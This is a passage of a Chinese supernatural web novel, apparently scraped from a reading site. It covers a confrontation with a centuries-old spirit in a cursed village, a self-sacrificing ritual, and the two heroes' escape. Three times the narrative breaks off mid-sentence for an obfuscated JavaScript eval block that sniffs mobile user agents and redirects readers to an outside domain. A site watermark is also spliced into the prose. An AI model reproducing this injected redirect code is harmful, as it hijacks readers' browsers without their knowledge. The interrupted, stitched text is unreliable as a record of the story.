“你怎么——不说话——”好在没有对手后,小孩儿很快也哭累了。 “跟我走吧,我带你出去。”小师酌光像小机器人一样找回了熟悉的节奏,说出了预设好的语句。 小孩儿:…… 面对如此仿生的人类,小孩儿都不知道怎么该说什么了,连哭这种武器好像都失效了,他只能无助地抱着自己的巧克力熊,做着自己人生第一个生死关头的抉择。 “那我跟你出去,”小孩儿迟疑道:“你要是跑了怎么办?” “我不跑。”小师酌光耐着性子陈述道。 “万一你跑了呢?”小孩儿持续发问。 旁观的原野都要疯了,生怕这俩孩子开始第二轮套圈对话。虽然这里的坏境原野依然一知半解,但是他知道师酌光进来是需要给自己放血的,昨天他就放了很多血了,今天再继续失血,是真有可能会死的。 好在小师酌光给出了一个方案:“你趴在我背上,我背你出去,这样你就跑不了了。” “我才不跑呢。”犟种小孩儿怒道。但还是同意了这个方案,吭哧吭哧从床底下爬了出来。 小师酌光提着灯笼蹲下,让小孩儿爬上他的背。 小时候的师酌光身量就比同龄人高了,但背一个小孩儿还是有些吃力,踉跄地走了两步,才终于习惯了,一步又一步背着他走出了糖果屋。 屋外面是比昨天更多的蠕虫。 吓得小孩儿立刻开始哭,这回声音在耳边,如雷贯耳,让小师酌光自发学会了一些语言技巧:“你别哭,爬不到你身上。” “爬到你——身上——也是一样的。”小孩儿不买账:“把你吃了——就该吃我了——” “没有爬到我身上。”小师酌光淡淡地说道:“它们怕我的灯笼。” 小孩儿闻言低头,果然看见师酌光手里的八角宫灯散发出盈盈的光亮,如同消弭冰雪的火把,爬来的怪异生物在接触到光的瞬间便灰飞烟灭。 “这个灯好厉害,”小孩儿被灯笼吸引,终于止住了哭声:“给我玩一玩。” “不行。”小师酌光立刻拒绝道。 “我拿在手里,不会丢的。”小孩儿讨价还价。 “这个灯笼你拿不走。”师酌光陈述道:“它就是我。” 小孩儿不屑道:“吹牛。” “我没有。”小时候的师酌光还是一板一眼的认真性格,被人质疑了就认真地解释:“你看,灯笼罩是我的肋骨,支架是我的脊椎,顶盖是手掌和手指,提手是腿骨。” 小孩儿露出了疑惑的表情。 “你在说什么,我没听懂。”小孩儿的知识水平还没有跟上师酌光:“这个就是你的话,灯笼是怎么亮起来的?” “它在烧我的命。”师酌光平静地说道。 这回小男孩儿听懂了,也吓傻了。 “那你会死吗?”小男孩儿焦虑了。 “不会,”小师酌光摇头:“我还有很长的命,可以烧很久。” 小孩儿还是觉得哪里不对,但是想不出哪里不对。 不过他安静了下来,没有再吵闹了。 眼前还是无边无际的黑暗,师酌光手里的灯笼发出融融的光亮,仿佛能照亮无尽的永夜,他背着小男孩儿,一步一步地走着。 “哥哥,”伏在他背上的男孩儿换了一个尊敬些的称呼:“出去了我能找你玩儿吗?” “不会。”小师酌光陈述道。 “为什么?”小孩儿不解。 “你醒来就会忘记这里的一切,”小师酌光解释道:“然后你就会怕我。” “吹牛,谁会怕你啊。”小孩儿立刻反驳道:“我一点儿都不怕你。” “哦。”师酌光回了一个简短的音节。 两人不知道走了多久,手里的宫灯越来越亮,好像一轮太阳驱散了所有黑暗,小师酌光背着男孩儿置身在暖融融的光海中,终于松了口气。 光从幻境一路蔓延到了现世,守在门外的师酌光母亲看着亮起的光晕,脸上露出了一点笑意,道:“成功了。” 守在门外的父母闻言瞬间冲了进去,跑向床上的孩子。 小孩儿也在同一时间睁开了眼,继而抱着父母嚎啕大哭了起来。 孩子的爷爷奶奶姥姥姥爷保姆保洁司机管家也浩浩荡荡迎了上去,站在床边的小师酌光适时后退,给这家人留出位置。 小孩儿的哭声震耳欲聋,脸色苍白的小师酌光站在人群外,换了几个位置,终于从人群的空隙间看到了众星拱月的宝宝。 两人对视,小男孩儿在瞬间止住了哭声,接着爆发出了声浪更大的一阵哭嚎,边哭边把头猛地向妈妈怀里钻。 他也不例外。 心无挂碍的小师酌光昏了过去。 幻境在这一刻终止。 漫长的过往不过弹指一瞬,原野仍然置身在中庭的半空,身体保持着腾起的姿势,他迅速调整姿势,在空中如展翅飞鸟掠过中庭,双手扣住栏杆,止住下落的去势,翻身跃回了走廊。 然后顾不得诡谲的环境,立刻靠在墙壁上,拿出了随身带着的档案。 为什么这里会有师酌光的过去? 原野心头发紧,迅速地翻找着,果然,在那一沓填满了内容的旧档案里,出现了一张崭新的空白表格。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 20. 第二十章 新药瓶 突然出现的师酌光的记忆和一张新的空白表格,原野虽然没有灵异知识也知道师酌光是遇到危险了,虽然库房就在身后,但此时也顾不上这些了,当即将档案一收,就要回学校。 “你在干什么?”师酌光的声音突然响起。 原野骤然回头,发现师酌光不知道什么时候出现在了他的身后。 与此同时,走廊里涌动的妖异幻象像是因为师酌光的到来而畏惧地隐藏了起来,四周异像如暗潮涌动,愈发衬得站在中间长身玉立的师酌光风霁月。 “我找到药了。”师酌光说话时抬手,向示意原野自己手里的两枚白瓷瓶子。 这和原野在末世的时候用的药剂瓶毫不相关,好在他昨天看古装电视剧补充了知识点,剧里面老皇帝给太子赐死的时候,宣旨太监就给太子端了这么一个白瓷瓶的毒药过去。 这应该就是这个世界的传承吧。 原野盯着师酌光手里的瓶子恍然大悟。 “接着。”师酌光将其中一瓶扔给原野,自己仰头喝下另一瓶。 原野利落接过,拔掉瓶塞仰头喝下,才问道:“你这么快就找到药了?” 师酌光闻言一笑,轻声道:‘我说过,何有乡可以给你任何你想要的东西。’ “何有乡会给你任何你想要的东西。”校长室里,方延祚如是说道。 “倒也是挺有趣的体验,”他对面的师酌光安然坐在轮椅上,疲惫地看着他道:“校长当年想求长生,现在却变成这个样子,不太好吧?” 说完轻轻探身,手指虚点在办公桌后的方延祚身上。一瞬间那具拼接成的人形散作各式零件,落雨般摔在了地上。 师酌光对面只剩下一张宽阔的红木转椅,因为骤然失力慢悠悠地转着。 方延祚的声音不知道从哪里继续传来过来:“师家的传人就是不一样,家学渊源,比我们这样的门外汉实在是强。” “过奖了,小时候没有什么朋友,多读了几本书而已,”师酌光并不意外此时的情况,神色如常道:“我看平山教记录里,平山教教主方燊收了教徒里同样姓方的人为义子,提拔他为平山教二把手,但是他另有一个儿子,一直在外读书,没有记录他的名字。倒是我家高祖的笔记里写过夏历十七年,曾经在咸京遇到过一个出身灵嵨的秀才,名叫方世恩,我在想这个人不会才是教主的亲子吧?” 房间里突然安静了下来。 没有风声,没有蝉鸣,甚至连盛夏的阳光似乎都晦暗了下来,整间校长室好像在瞬间变成了一座埋葬许久的墓室,连呼吸里都带着泥土的腥气、 “你说得对,”校长沉默了半晌,才开口道:“我就是方世恩,方延祚按道理算是我的大哥。” 随着他的话,一场大火从校长室的各处蔓延开来,迅速爬上墙壁、窗户、房顶,一切都在大火中被焚去。滔天烈焰里,只有师酌光独坐其中,直视着他的正前方,似乎那里正坐着方校长一样。 方世恩的声音从火焰中传来:“我娘是瑞宁城一个举人家的女儿,很小的时候我就被送到了外祖家开蒙,我爹所在的事情一点没有告诉过我。一百多年前,朝廷围剿平山教,我正在瑞宁读书,对这些事浑然不知,我爹死后,方延祚给我写了封信,只说我爹暴毙,让我回家奔丧,我如遭雷击,急忙忙回家才知道我这个大哥竟是叫我回来陪葬的。” 平山教信奉信教长生,方燊虽死,仍然有一帮教徒相信教主是羽化登仙了。方延祚则是自知被朝廷抓到,自己绝无生还可能,干脆带着执迷不悟的信徒,又叫回自己干爹的亲儿子,大家一起死,黄泉路上也不孤单。 方世恩不明就里,到家便被一杯掺了毒药的水药倒,和其他教众一起锁在了主屋里,方延祚命心腹在宅子四周泼了油,点火引燃宅子后,他带着心腹先服毒自尽了。 校长室在火舌的跳动中化做了那间平山教教众的坟墓,浓烟滚滚,火星四溅,房梁被烧得掉落下碎块,四周尽是教徒的惨叫哭嚎之声。 师酌光置身其中,脸上表情仍然没有变化,平静地注视着这地狱一样的场景。 幻境中的方世恩就是在这个时候醒来的。他服药的剂量不够,四周的高温令他疼醒了过来。然而此时祖宅已成火海炼狱,平山教中的青壮年早在朝廷围剿下战死,活下来的大多是老弱病残,被锁在房中毫无抵抗之力。 在场众人不是被浓烟活活呛死,就是已经被熏得丧失了行动能力,更或者被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15105440|163851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燃烧的房梁砸中,已变成了一团火球。 其中属方世恩最年轻力壮,加之他服毒后昏死过去,静躺在地上,没有吸入多少烟气,此时竟然还有移动的能力。 火海中现出一线生机,方世恩大喜过望,手脚并用、挣扎着向火势最小的一处窗棂爬去。窗纱早已经烧尽,雕着蝙蝠的窗棂正被火舌舔舐,方世恩勉力爬起来,摇晃着提起一张太师椅砸向窗户。 求生之心大过了肉丨体的痛苦,大火点燃他的衣服,浓烟呛咳着他的喉咙,他也浑然无觉,几下之后,或许是求胜心切,或是木头被大火烧得碳化了,坚固非常的木窗棂竟然真得被他撞碎了一角。 求生的狂喜席卷了方世恩,他疯了一样用手、用头、用身上的任何一处猛烈地撞击着窗棂,直到破开一个大口,方世恩如蒙天赦,手脚并用地就要爬出这人间炼狱。 但是他没动。 他身后,被烈火烧得半人半鬼、早已站立不起的教众们以扭曲的姿势抓住了他的脚。 “放开我!滚开啊!放开我!”方世恩在这一刻肝胆俱裂,野兽一样嚎叫着蹬踹那些碳化的枯骨。 邪教徒们却好像在这个时候获得了真正的神力,被火烧去皮肉的脸上惧是狰狞,手臂焦黑翻裂,仍然牢牢地抓着方世恩。 “求求你们了,放我出去吧!”方世恩转而疯狂地祈求,眼泪和鼻涕糊了他一脸:“放我出去,我从外面给你们开门。” 抓住他的人充耳不闻,越来越多的教徒们抓住了他,方世恩的手紧紧扣在窗框上,拼尽力气要爬出去。浓烟却在他的挣扎下疯狂滚进他的口鼻喉咙,他喊不出声音,也没了力气,十根手指被火烧灼,发出焦糊的气味。 方世恩最后还是被抓回了炼狱中,他的意识已经模糊,剧痛在他的身体里翻涌,求生的本能让他长大了嘴巴,吸进去的却是滚烫的浓烟。 “愿舍此身,千岁不死。” “舍我此身、永享极乐。” 热浪在屋中升腾、燃烧的房梁降下漫天火星,天与地尽数归为火焰,还活着的教徒们围拢在他身边,身体因为极致的疼痛扭曲如恶鬼的形状,烧掉了嘴唇的嘴却仍然开合着,唱诵着平山教的祷词,直到灰飞烟灭。 21. 第 21 章 火焰的幻象缓缓散去,恢复成普通的校长室,师酌光静坐在自己的轮椅上,好像刚才发生的一切都没有给他造成任何影响。 “你竟然没被烧死,”方世恩言语间还有些稀奇:“钱如辉来找他男友时也到过这里,他虽然懂方术,知道这是幻象,还是不免受到影响,被烧伤逃跑了。果然世家公子就是不一样,心性坚定。” “钱如辉?”师酌光对这个名字更感兴趣一些:“那个让保安写日记的人?” “大公子真是聪明人。”方世恩语气敷衍地夸奖道。 “他和他男朋友呢?最后去了哪里?”师酌光追问道。 “师大公子想知道?”虚空中传来方世恩的笑声:“我以为你更想知道你朋友的事呢,比如他从哪里来的?” 师酌光表情没什么变化,语气反而有些惫懒:“你知道?” “不如我们打个赌?”方世恩避而不答:“赌你朋友的生死,你猜对了我可以回答你一个问题。” “这没什么难猜的,”师酌光平静得甚至称得上懒散:“方先生和我在这里聊家常也不过是想拖些时间,比起这些细枝末节的小事,我更想知道何有乡的来历,还请您为我解惑。” 方世恩沉默得可怕。 他被戳中了心事。 所有进入何有乡的人,他都可以阅览他们的生平,唯独原野,他过往二十年如云山雾罩,怎么也看不真切,甚至让方世恩怀疑这个名字是不是真的:两个字的名词,看着像随便编的。不过有一点他可以肯定,原野身上有一些本事,发动起来可以让整个何有乡暂停。 方世恩等这样一个人等了很久了,所以他才亲自现身拖住师酌光,又捏了一个和师酌光一样的人去原野那里引导他,如今这计划被师酌光戳破,方世恩不心中如浪一般翻涌,校长室也如他的心情一般,晦暗的恐怖穿梭在墙壁之间,此起彼伏。 “方先生先别急,我不会打扰你的计划的。”师酌光还是安静地坐在轮椅上,身上始终有一种任何事都激不起他的情绪的倦怠:“不如我们也打一个赌,我赌这里事了,原野会活着出去,在这之前,不如和我讲一讲何有乡的故事。” 师酌光说到这里,露出一些温和的笑意:“毕竟,应该很久没人和你说过话了吧。” 方世恩沉默着。 他既不觉得原野能活下去,也很不喜欢师酌光的态度。方世恩生前考取过功名的,即使他控制洄域将近一百年,他依然以读书人自居,如师酌光这样的方士,就算是世代承袭,也是不入流的行当,入不得他的眼。 一个贱民,却好像对这里的一切都了如指掌,令方世恩愤怒。 但是不得不说,他想跟师酌光说话,他已经一百年没有和人这样聊过了。 “没什么好说的,”方世恩最后开口道:“平山教的信徒多半过得不好,家穷的,残疾的,生病的,都是些命不久矣的活死人。我爹给他们许了千秋大梦,说信他就可以长生不死,但是最后他们都被烧死了。不得好死,怨气滔天啊。” 方世恩语气里带着讥诮:“冤魂不散,求生之心,枉死之恨勾连在一起,这片土地承载不下,干脆形成了洄域,想慢慢消化我们这些怨鬼。” “这怨气里也包括你。”师酌光陈恳地补充道。 方世恩冷笑:“自然,我也不想死,我一心只读圣贤书,哪里知道我爹在外面装神弄鬼、招揽教徒?我已经中了举人,不过几年我就可以出仕了。结果呢?死在了一群愚夫愚妇的手里。” 哪怕过去了一百年,方世恩说起旧事仍然恨意露骨,沉默了几息后,才恢复了平常的语气:“那帮教徒却没什么见识,只想吃饱饭,穿暖衣,长长久久地活下去,就算是死后的怨念不散,也只能想到一个乡下地方,在里面当当乡绅地主。我和他们不一样,我三岁开蒙,寒窗苦读二十余年,就是为了离开这地方,却被他们毁了,但也因祸得福,我和这里格格不入,几乎是在来到何有乡的瞬间便清醒过来了。” 方世恩:“我看过我爹的书,洄域的存在是为了消磨我们这些人的执念,我想活着,就算在这种地方人不人鬼不鬼的地方,我也要活着。我不像你这样的人有灵力,想要保持清醒而不被洄域吞噬,就只能不停写出自己的记忆,让它代替我被洄域消化。” “我不能死,我只能不停地写,不停的,不停的,不停的,我就这样一直写了三十年,写到那些东西一直堆满了整个房间。”方世恩轻声道:“直到我要活下去的执念侵蚀了洄域,等我反应过来的时候,我已经成了何有乡的主人。” “我不会死了,我终于可以停笔了。”方世恩的话音里出现了一丝不易察觉的满足感,他呼出一口长气,继续道:“我从房间里走了出来,那间放满了笔记的房间却突然发生了变化,那感觉很奇怪,我当时察觉出了不对,想推门进去,手覆在门板上时却突然有了一种感觉,如果推开门走进去,我就会死。” “冥冥之中我知道为什么,因为我留在那里的记忆,让那个房间成了沟通现实和洄域的桥梁,打开那扇门,我的灵魂就会回到现世。但我早就死在了火场里,回去只有死亡。我从那里逃开,在街上游荡”方世恩继续道:“当初和我一起死的那些人早就被洄域消磨得一干二净,街上到处是些顶着人皮套子假装活着的空壳,其中就有方延祚。我心中积恨,哪怕知道他已经死了,仍想将他碎尸万段。谁知我刚起心,方延祚便在我面前碎成了数段,那时我才知道,我竟然可以控制洄域了。” 后来的事情就顺理成章了,方世恩惧怕那座盛满了他记忆的房间,又抹消不掉,便干脆控制洄域,围绕着那栋房子建了层层的建筑,将那里保护了起来。 他又担心天长日久,自己写下的笔记有一天被洄域吞噬干净,就将所有进入何有乡的教徒的记忆都扔在那里,一个又一个,不祥的禁地成了储存每一个人的图书馆,一座没有尸体的坟场。 而在他担心万一这些记忆也被耗干净的时候,方世恩发现,何有乡在源源不断吸引外面的人进来。 “因为你在这里,”师酌光懒得听方世恩粉饰过后的鬼话,平静地点了出来:“洄域本来只会消解横死之人的怨念,但你要活着的执念引诱了无数仍然活着的人进入洄域,充当维持何有乡的耗材。” 原本的洄域在消化了惨死的平山教教徒后,没有新的执念供给,该自然消散。但方世恩横亘其中,使得何有乡无法消失,诅咒一般存在于那块烧死了方世恩的土地上,无论在那里新建多少次房舍,何有乡都不会消失,而是持续地将这片土地上的人引入死亡。 “这也是没办法的事啊。”方世恩为自己辩解时甚至都没有什么情绪的起伏。咀嚼他人生命的事已经持续了一百年,哪怕一开始他曾经痛苦过,但一百年过去了,对他而言,吃人和吃羊已经没有什么分别了。 “你知道吗?就算是皇帝,也不能真切地统治每一片土地,那些对他俯首称臣的人,也都有自己的心思,”方世恩的语气里有兴奋的回味:“但是我不一样,我就是洄域,每一个人,每一寸土地,都受我的摆布,我才是真正的天子,是神。没有人能抗拒这样的诱惑的,任何人都不能抗拒。” 师酌光已经彻底丧失了和一个疯子沟通的欲丨望,他驱使着轮椅移动,绕过了红木办公桌和红木转移,抵达了校长宝座后的墙面,有些年头的墙上挂着一张何有乡的地图。师酌光抬手将地图扯了下来。 陈年的痕迹显露在墙上,恰好勾出一张拟人的面孔。 “活成这样的神吗?”师酌光面上带着温柔的笑意,声音很轻地问道。 方世恩的声音消失了。 变化不是一时发生的,一开始方世恩只是变得倦怠,不乐意挪动位置,然后在某一天,他的腿消失了,接着是躯干。双臂。 求生的欲丨望或许能抵挡一时的侵蚀,但在亘古存在的力量的包裹下也终有消散的一天。在这漫长的融化过程里方世恩自然是挣扎过的,然而一切都是徒劳的,洄域在用自己的方法,缓慢但无可挽回地,一步步消化着他。 直到现在,方世恩只剩下了似人非人的五官留存在这面发黄的墙上,像是被活埋在了地下,恐惧地等待着,等待着自己失去眼睛或者嘴巴,或者某一天灵魂的消失。 这样的感觉实在是太熟悉了,就好像是一百多年前,就在方世恩以为自己要逃出起火的祖宅时,被拖回来时的情景一模一样。 他被无可撼动的力量按在了地上,永永远远,都在等待着烈火焚身的死亡。 “我试了无数种方法,”墙壁上的嘴似乎在发出声音,又好像是从洄域的深处传来:“我用一些没有被消化的肢体拼凑出可以操纵的躯体,但我只能指挥他们,没办法真正的附身在他们身上,我什么都感受不到,和死了没有什么区别。” 到了这一步,方世恩终于想死了。 但是他已经没有办法离开这里一步,也自然没办法回到那个最初堆积了他所有记忆的房间,推开那扇死亡的门了。 “我的灵魂已经和何有乡融为一体了,想要死亡,就必须彻底毁灭洄域。”方世恩道:“一切的开端是烧死教徒的火还有毒药,想要毁灭洄域,也必须在现实和洄域勾连最深的图书馆里重现当年的情况,让一切回到最开始的时候,用一把大火把这个不该存在的地方烧干净。” “我操控着洄域里的乡民去开门,但是这个洄域之所以诞生,就是因为那些求长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15105441|163851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生的教徒们,基于不死诞生的何有乡,没有一个乡民可以逃出去。”方世恩停顿了一下,道:“好在你的朋友出现了。他身上有我看不出来的力量,可以驱散一切洄域的幻象,是最合适烧掉库房的人。” “我捏了你的摸样给他送去了毒药,他刚刚喝下去了,只要再给库房点一把火,我就终于可以从这个世界里解脱了。”方世恩说到这里的时候声音都有些变调,释然和不舍的情绪混在一起,令他的声音格外得刺耳:“师大公子的日子表面看着鲜花着锦,仔细看去也不怎么好过,今日大家一起死在这里,想必你应该也是愿意的吧。” 师酌光闻言笑了起来:“我确实没觉得活着有多好,不过原野恐怕是特别想活下去的那一个。初到何有乡时我就疑惑过,我既无求生之意,也没什么仇恨怨念,为什么会来这里。后来我看那小子上蹿下跳地想逃出去,才明白何有乡真正引召的是他,只是他想活下去的心太强烈,竟然蔓延到我的身上,把我也拽了进来。” 师酌光越说越想笑,说到后面时语调都不自觉地变轻快了。 “不过这都不重要了,”师酌光突然话锋一转,随口问道:“在我死前,我还有最后一个问题,相信方先生应该愿意为我解惑的。那对夫夫去了哪里?” “还能去哪里?”故事已经接近尾声,方世恩不介意给最后的说话对象一点优待:“钱如辉想试着用记笔记的方法让他男朋友找回意识,在我眼皮底下进进出出了几次,还以为我不会发现,只是他对我没用而已。后来他发现陈仪新吃了这里的食水,即使唤醒了意识也出不去了,钱如辉发疯选了个狠招,舍了陈仪新的肉丨体,把他的魂魄藏在自己身上,逃出了洄域。” “一体双魂,”方世恩哂笑出声:‘不是疯了就是死了吧。’ “多谢,”师酌光有礼貌地笑了笑:“死之前得到一个答案事件好事,作为报答,我可以满足你一个愿望。” “你要干什么?”方世恩惊道。 不过他有些多虑了,师酌光一个半残的人,哪怕突然放了狠话,也只能安静地坐在轮椅上,好像什么都做不了一样。 下一刻,师酌光还是挂着那个得体的笑容,用附加了原野的雷电异能核的匕首剖开了自己的胸口。 鲜血瞬间喷涌而出,浓稠的血液滴落在地上,顷刻间燃起烈焰。不同于方世恩制造的幻象,师酌光的血化作了真正的火,火势眨眼间席卷了整个校长室,接着迅速地扩散蔓延,以一种违反常理的速度,吞噬了整个何有乡。 “你要做什么?”方世恩不可置信地吼叫着,只觉得他疯了。 师酌光的表情从始至终没有变过,大火燃在他的身上,皮肤变得焦黑碳化,他浑然未觉,只是松开了手里的刀,指间覆上了他跳动的心脏。 一圈又一圈的符文自他指间漫开,缠绕上他的心脏,从里面榨取出所有的生命。 洄域真是个神奇的地方。 师酌光没来由地想到。他的身体隐没在火舌之中,痛感像是隔了一层纱般不怎么真切。 这样剖心换名的法术,除了洄域,没有第二个能施展的地方了。 师酌光的心脏落下一颗红色的液体,那液体向下坠去,穿过师酌光森森的白骨,落入了虚空,最后滴落在了原野的右手腕上。 那里系了师酌光给的红绳。 红绳在他的腕间燃烧,原野面前的师酌光大惊失色,让原野赶紧将手绳摘下来。 燃烧的红绳落下火星,整个图书馆被瞬间引燃,原野置身在火焰中,却并未感到灼烧的痛苦,而是另外一种,新生的力量在重新锻造他的身体。 “你到底怎么了?”师酌光惊慌地询问。 “不知道啊,”原野突然上前,抓住了师酌光的手臂:“是你的药起了效果吧。” 蓝紫色的电光从原野的掌心漫出,他握着的那条手臂瞬间化作飞灰。 “你疯了!”方世恩制作的师酌光仍在垂死挣扎。 原野不答话。 不知从何燃起的大火将何有乡烧得变形,被支配的躯壳和虚假的房间尽数消失,巨大的图书馆再次发生了变异,像是拥有意识一般,主动生长出新的走廊,和在烈火中扭曲变形的乡小学勾连在一起。 原野的身后,库房的门打开,他却没有进去,而是观察着无限生长,错综复杂的走廊,最终选定了一条道路,头也不回地奔向了蠕动的走廊的深处。 另一边,师酌光已经完全被大火吞噬,生命从他的身体里流失,在另外一个躯体里重生,他的身体在烈焰中化作灰烬,剧烈的疼痛带给师酌光奇异的安宁。 而就在他即将陷入永恒的宁静时,飞奔而来的原野终于抓住了他。 22. 第 22 章 原野现在很方。 从洄域出来之后,师酌光就一直在生他的气。 那天何有乡烧成了一片火海,原野多年救援小队长的经验发挥到了最大,在最后一刻抓住了昏迷的师酌光,将他带回了现世。 当时场景一片混乱,原野几乎用尽了全部的力气才跑了出来,在确认离开何有乡的瞬间便晕了过去,等他再醒来的时候,就发现自己置身野外,身上的异见底,一只手还死死拽着血淋淋的师酌光。 原野见状吓了个魂飞魄散,赶紧上去试呼吸,见还在喘气,才稍微放下心来,又突然犹豫起来:自己从幻境出来前是不是看见师酌光手里拿的血淋淋的东西是不是心脏?那他现在还有没有心脏?如果没有心脏做心肺复苏有没有用?等一下,如果没有心跳还活着不会变成丧尸吧? 就在原野陷入到了一系列复杂的思考的时候,师酌光自己睁开了眼睛。 原野抬手盖在他的双眼上,又让他瞑目了。 师酌光:…… 接着原野堂而皇之地摸上了他的胸口。 “你在干什么?”师酌光无语发问。 刚才和方世恩对峙时,师酌光直接用刀破开了胸口,衣服在胸口处撕开了一个大口子,此时原野堂而皇之地穿过烂成条的衬衣,将手覆在他裸丨露的胸膛上。 师酌光想报警。 “我在看你有没有心跳。”原野如实答道。 师酌光:…… 以原野过去二十年的经验,师酌光要是心脏都没了还活着,只有可能是变成丧尸了。 不要啊,人家这个世界安居乐业这么多年,怎么突然变异出丧尸了……不会是我身上有丧尸病毒吧……这得死多少人啊……我罪孽深重啊! 原野想到这里手都软了。 千万要有心跳啊,我可不想刚把师酌光救回来,转头就把他送走啊……还有我异能好像耗空了,这要怎么送走他啊?用石头砸也太残忍了…… “最起码把我眼睛上的手拿开。”师酌光咬牙切齿地做出了妥协。 “不要,”原野声音里夹杂着若有似无的哭腔:“看见你的眼睛我不好下手。” 师酌光更想报警了。 好在原野摸来摸去,终于摸到了师酌光不甚有力但终归是跳动的心跳,顿时如蒙大赦,整个人都瘫软了下去。 “你有病吗?”师酌光对这一套莫名其妙地反应无语至极,最后只能彬彬有礼地问道。 “啊?我没有啊。”原野沉浸在劫后余生的喜悦里,同样礼貌询问:“你有吗?” 师酌光:…… 我费尽心思救出来个什么东西。 师酌光陷入了一种绝望的无力之中。 不对,他为什么不怕我? 师酌光想到这里突然愣住了,再看原野时目光说不上是希冀还是恐惧。 但原野对此毫无所觉。 在确定师酌光还活着,且看着还能活一段时间后,原野瞬间从丧尸疑云的阴霾中走了出来,开始全身心地投入到回家计划中。 他先是上车试了一下,确认车子确实没有燃油了,才死了开车回去的心,转而打算将师酌光放进后座休息,他自己先徒步去附近找点吃的。 从别墅到何有乡有五十公里的路程,没有车光靠走的话得走十个小时,原野和师酌光又都受了伤,此时已经快到中午,原野便做好了在车里过一夜的准备,等第二天身体缓过来一些再一大早出发。 “不用这么麻烦。”师酌光出声阻止了他:“我们现在离别墅不远,你既然还有力气,干脆带我一起走吧,省得再跑一趟。” “啊?”原野发出无知的声音。 “我先前说过洄域是为了逼迫我们进入何有乡,创造了一条引我们去的路,”师酌光没什么精神的解释道:“洄域是依附在别墅的土地上的,它创造的幻境也不会离别墅太远,我们之前可能只是一直开车绕着别墅兜圈子。” 原野对这个结论心存疑惑,但考虑到师酌光从刚才开始就对他脸色不善,他决定还是听从专业人士的建议,不要说话为好。 师酌光的自行车牌轮椅报废在了何有乡,只能更换坐骑,由原野背着他走了。 好在原野虽然受伤,但最强异能者的底子在那里,背师酌光走一段路并不十分困难。 “你又瘦了。”原野背上他的瞬间,忍不住感叹道。 伏在他背上的师酌光一愣。 他这两天饮食不多,且失了不少血,轻一些是应该的,但是这样细微的变化都能被察觉到,这在师酌光二十七年的人生里,还是第一次。 这样正常但珍贵的对话让师酌光心中升起莫名的感情,以至于让他对原野失去了该有的戒心。 于是下一刻,他听到了原野状似不经意,实则真情实感的询问:“回了家多吃点……说到这个了,咱们的口粮是不是丢在洄域了?” 师酌光:……………… 你根本只是想问食物丢没丢才跟我说话的。 师酌光一口气哽在喉头,看着自己搭在原野肩膀上的双臂,真想干脆勒死他算了。 我就不该救你。 而且为什么要回来救我。 师酌光想到这里更气了。 “你为什么会突然回来?”师酌光伏在原野背上,叹了口气,问道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15105442|163851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “啊?”原野反应了一下,将自己在图书馆遇到假师酌光的事复述了一遍,然后道:“他说何有乡会给人想要的一切,所以让你站起来了,但是你都不想活了,怎么可能会主动想站起来。” 师酌光一下子沉默。 夏日正午的阳光透过茂密的树叶投在两人身上,发出真实的、炙热的温度,耳边传来鸟儿发出啼鸣、原野的脚步声和紧贴在一起的两人有力的心跳声,穿破了迷障的世界一切都变得清晰而真实。 “你怎么知道我不想活了?”师酌光脑海中过电般闪过自己和原野相处时的场景,并不觉得自己哪里露出过死志,最终忍不住问道。 “你是一个很有礼貌的人。”原野突然说道。 师酌光:“那又怎么样了?” 原野笑了一下,似乎觉得这样能冲淡死亡这个话题的冰冷的温度,轻声道:“像你这么有礼貌的人,昨天晚上,咱俩谈话时我说我是我从洪水里把你救出来的,你都没有跟我说谢谢。” 师酌光又不说话了,原野便安静地走着,脚步踩在落叶枯枝上,发出清脆的“嘎吱”声。 “前面树枝上有野果,可以摘一个喂我吗?”原野突然说道。 师酌光抬起头,果然看见前面有颗野生的李子树,便在原野经过时,摘了两颗指甲盖大小的李子,在原野的衣服上擦了两下,塞他嘴里了。 “好酸。”原野龇牙咧嘴。 “野生的当然酸了,”师酌光兴致不高,随口说道:“回去买种植的,有的是甜的。” “真好啊。”原野由衷地感叹道。 师酌光仍然不理解好在哪里。 “夏天真得很好。”原野真情实感道。 夏天温度升高,丧尸的腐烂速度变快,白天出来游荡的丧尸会减少,原野的小对可以有更多时间收集物资。 “白天还会变得很长,活动的时间就变长了,而且晚上也不会很冷,可以在外面过夜,可以看天上的星星,对了,晚上还有萤火虫会飞来飞去,我超喜欢夏天的。”原野语调越说越轻快:“而且夏天还有很多水果可以吃。” 确实会是他考虑的重点。 师酌光漫无目的地想到。 “所以先活过夏天怎么样?”原野最后轻轻地说道。 原来是想说这个。 